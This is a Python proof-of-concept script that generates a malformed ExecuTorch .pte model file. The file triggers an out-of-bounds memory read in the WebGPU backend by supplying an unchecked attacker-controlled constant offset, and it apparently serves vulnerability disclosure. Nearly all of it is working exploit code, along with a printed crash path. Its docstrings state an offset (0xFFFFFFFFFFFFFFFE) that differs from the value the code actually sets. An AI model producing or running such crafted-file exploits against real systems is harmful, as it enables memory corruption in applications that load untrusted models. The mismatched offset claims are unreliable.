#!/usr/bin/env python3
"""
craft_malformed_webgpu_pte.py

Generates malformed_webgpu.pte — a real ExecuTorch .pte file that triggers
the OOB read/write in WebGPUGraph.cpp:732-733 when loaded by the WebGPU backend.

Bug:
  WebGPUBackend.cpp:75  — only a 4-byte VkGraphBufferHasIdentifier check; no Verifier
  WebGPUGraph.cpp:378   — GetVkGraph(flatbuffer_data) called with NO flatbuffers::Verifier
  WebGPUGraph.cpp:537-538 — cs.inline_offset = vk_bytes->offset() with NO bounds check
  WebGPUGraph.cpp:732-733 — wgpuQueueWriteBuffer(queue_, dst, 0,
                               constant_data_ + cs.inline_offset, cs.nbytes)
                            -> OOB read (cs.inline_offset is attacker-controlled)

Compare: Vulkan (same vkgraph schema, patched 2026-05-13) adds:
    flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
    VerifyVkGraphBuffer(verifier);
before GetVkGraph(). WebGPU has the identifier check but not the verifier.

Usage:
  python3 craft_malformed_webgpu_pte.py
  # Produces: malformed_webgpu.pte
"""

import sys, os, struct
import flatbuffers
from flatbuffers import builder as fb_builder

sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
from vkgraph import VkGraph, VkValue, VkTensor, VkBytes
from executorch_flatbuffer import (
    Program, ExecutionPlan, BackendDelegate,
    BackendDelegateInlineData, BackendDelegateDataReference
)


def build_vkgraph_flatbuffer():
    """
    Build a VkGraph FlatBuffer with:
      - values[0]: VkTensor(datatype=FLOAT32, dims=[4], constant_id=0)
      - constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)

    When WebGPUGraph.cpp processes this:
      - tensor.nbytes = 4 * 4 = 16  (numel=4, elem_size=4 for FLOAT32)
      - cs.nbytes = 16
      - cs.inline_offset = 0xFFFFFFFFFFFFFFFE  (not UINT64_MAX sentinel)
      -> constant_data_ + 0xFFFFFFFFFFFFFFFE -> OOB
    """
    b = flatbuffers.Builder(512)

    # --- VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16) ---
    VkBytes.VkBytesStart(b)
    VkBytes.VkBytesAddOffset(b, 0x0000FFFFFFFFFFFF)   # attacker-controlled OOB offset (not UINT64_MAX sentinel)
    VkBytes.VkBytesAddLength(b, 16)
    vk_bytes = VkBytes.VkBytesEnd(b)

    # --- constants vector ---
    VkGraph.VkGraphStartConstantsVector(b, 1)
    b.PrependUOffsetTRelative(vk_bytes)
    constants_vec = b.EndVector(1)

    # --- VkTensor(datatype=FLOAT32=5, dims=[4], constant_id=0, mem_obj_id=-1) ---
    dims_data = b.CreateNumpyVector(__import__('numpy').array([4], dtype='uint32')) \
        if False else None

    # Build dims vector manually
    b.StartVector(4, 1, 4)
    b.PrependUint32(4)
    dims_vec = b.EndVector(1)

    VkTensor.VkTensorStart(b)
    VkTensor.VkTensorAddDatatype(b, 5)    # FLOAT32
    VkTensor.VkTensorAddDims(b, dims_vec)
    VkTensor.VkTensorAddConstantId(b, 0)  # points to constants[0]
    VkTensor.VkTensorAddMemObjId(b, -1)
    vk_tensor = VkTensor.VkTensorEnd(b)

    # --- VkValue wrapping the tensor ---
    VkValue.VkValueStart(b)
    VkValue.VkValueAddValueType(b, 5)     # GraphTypes_VkTensor = 5
    VkValue.VkValueAddValue(b, vk_tensor)
    vk_value = VkValue.VkValueEnd(b)

    # --- values vector ---
    VkGraph.VkGraphStartValuesVector(b, 1)
    b.PrependUOffsetTRelative(vk_value)
    values_vec = b.EndVector(1)

    # --- input_ids = [0] ---
    VkGraph.VkGraphStartInputIdsVector(b, 1)
    b.PrependUint32(0)
    input_ids = b.EndVector(1)

    # --- VkGraph root ---
    VkGraph.VkGraphStart(b)
    VkGraph.VkGraphAddValues(b, values_vec)
    VkGraph.VkGraphAddConstants(b, constants_vec)
    VkGraph.VkGraphAddInputIds(b, input_ids)
    graph = VkGraph.VkGraphEnd(b)

    b.Finish(graph)
    buf = bytes(b.Output())

    # Patch file identifier to "VK00" at bytes 4-7
    buf = buf[:4] + b"VK00" + buf[8:]
    return buf


def build_webgpu_delegate_payload(vkgraph_buf):
    """
    Build the WebGPU delegate payload:
      [0..3]   : 0x00000000 (unused prefix)
      [4..7]   : "VH00" magic
      [8..9]   : header_size = 30 (uint16 LE)
      [10..13] : flatbuffer_offset = 30 (uint32 LE)
      [14..17] : flatbuffer_size = len(vkgraph_buf) (uint32 LE)
      [18..21] : bytes_offset = 30 + len(vkgraph_buf) (uint32 LE)
      [22..29] : bytes_size = 64 (uint64 LE)
      [30+]    : VkGraph FlatBuffer
      [30+fb_size+] : 64 bytes constant data (tiny, so OOB is obvious)
    """
    fb_size = len(vkgraph_buf)
    bytes_offset = 30 + fb_size
    bytes_size = 64
    constant_data = b'\xAA' * bytes_size   # recognizable fill

    header = (
        b'\x00\x00\x00\x00'                      # [0..3]  prefix
        b'VH00'                                   # [4..7]  magic
        + struct.pack('<H', 30)                   # [8..9]  header_size
        + struct.pack('<I', 30)                   # [10..13] flatbuffer_offset
        + struct.pack('<I', fb_size)              # [14..17] flatbuffer_size
        + struct.pack('<I', bytes_offset)         # [18..21] bytes_offset
        + struct.pack('<Q', bytes_size)           # [22..29] bytes_size
    )
    assert len(header) == 30

    return header + vkgraph_buf + constant_data


def build_executorch_program(delegate_payload):
    """
    Wrap the WebGPU delegate payload in an ExecuTorch Program FlatBuffer
    with backend_id="webgpu" and a single BackendDelegateInlineData entry.
    """
    b = flatbuffers.Builder(1024)

    # Inline data blob
    payload_vec = b.CreateByteVector(delegate_payload)

    BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
    BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, payload_vec)
    inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)

    # BackendDelegateDataReference pointing to inline_data
    BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
    BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
    data_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)

    # backend_id string
    backend_id = b.CreateString("webgpu")

    # BackendDelegate
    BackendDelegate.BackendDelegateStart(b)
    BackendDelegate.BackendDelegateAddId(b, backend_id)
    BackendDelegate.BackendDelegateAddProcessed(b, data_ref)
    delegate = BackendDelegate.BackendDelegateEnd(b)

    # delegates vector
    ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
    b.PrependUOffsetTRelative(delegate)
    delegates_vec = b.EndVector(1)

    # backend_delegate_data vector (holds the inline blob)
    Program.ProgramStartBackendDelegateDataVector(b, 1)
    b.PrependUOffsetTRelative(inline_data)
    bdd_vec = b.EndVector(1)

    # name
    plan_name = b.CreateString("forward")

    # ExecutionPlan
    ExecutionPlan.ExecutionPlanStart(b)
    ExecutionPlan.ExecutionPlanAddName(b, plan_name)
    ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
    plan = ExecutionPlan.ExecutionPlanEnd(b)

    # execution_plan vector
    Program.ProgramStartExecutionPlanVector(b, 1)
    b.PrependUOffsetTRelative(plan)
    plan_vec = b.EndVector(1)

    # Program root
    Program.ProgramStart(b)
    Program.ProgramAddExecutionPlan(b, plan_vec)
    Program.ProgramAddBackendDelegateData(b, bdd_vec)
    prog = Program.ProgramEnd(b)

    b.Finish(prog)
    raw = bytes(b.Output())

    # Patch ET12 identifier
    return raw[:4] + b"ET12" + raw[8:]


def main():
    print("[*] Building VkGraph FlatBuffer payload...")
    vkgraph_buf = build_vkgraph_flatbuffer()
    print(f"    VkGraph: {len(vkgraph_buf)} bytes, identifier: {vkgraph_buf[4:8]}")

    print("[*] Building WebGPU delegate payload (VH00 header + vkgraph + constant data)...")
    delegate_payload = build_webgpu_delegate_payload(vkgraph_buf)
    print(f"    Delegate payload: {len(delegate_payload)} bytes")
    print(f"    Header magic: {delegate_payload[4:8]}")
    print(f"    Flatbuffer offset: {struct.unpack('<I', delegate_payload[10:14])[0]}")
    print(f"    Constant data offset: {struct.unpack('<I', delegate_payload[18:22])[0]}")
    print(f"    Constant data size: {struct.unpack('<Q', delegate_payload[22:30])[0]} bytes")

    print("[*] Wrapping in ExecuTorch Program (ET12)...")
    pte_buf = build_executorch_program(delegate_payload)
    print(f"    .pte size: {len(pte_buf)} bytes, identifier: {pte_buf[4:8]}")

    outfile = os.path.join(os.path.dirname(__file__), "malformed_webgpu.pte")
    with open(outfile, "wb") as f:
        f.write(pte_buf)

    print(f"\n[+] Written: {outfile}")
    print("""
Payload anatomy:
  ExecuTorch Program (ET12)
    └─ ExecutionPlan "forward"
        └─ BackendDelegate id="webgpu"
            └─ WebGPU delegate payload (VH00 header, 30 bytes)
                ├─ VkGraph FlatBuffer (VK00)
                │   ├─ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
                │   └─ constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
                └─ constant_data: 64 bytes of 0xAA  <-- tiny, OOB is obvious

Crash path (verified against source, 2026-07-14):
  WebGPUGraph.cpp:378   GetVkGraph(flatbuffer_data)  -- NO flatbuffers::Verifier
  WebGPUGraph.cpp:537   if (vk_bytes->offset() != UINT64_MAX)  -- 0xffffffffffff passes
  WebGPUGraph.cpp:538   cs.inline_offset = 0xffffffffffff      -- NO bounds check
  WebGPUGraph.cpp:733   wgpuQueueWriteBuffer(queue_, dst, 0,
                            constant_data_ + 0xffffffffffff,    -- OOB: 281 TB past section
                            16)
""")


if __name__ == "__main__":
    main()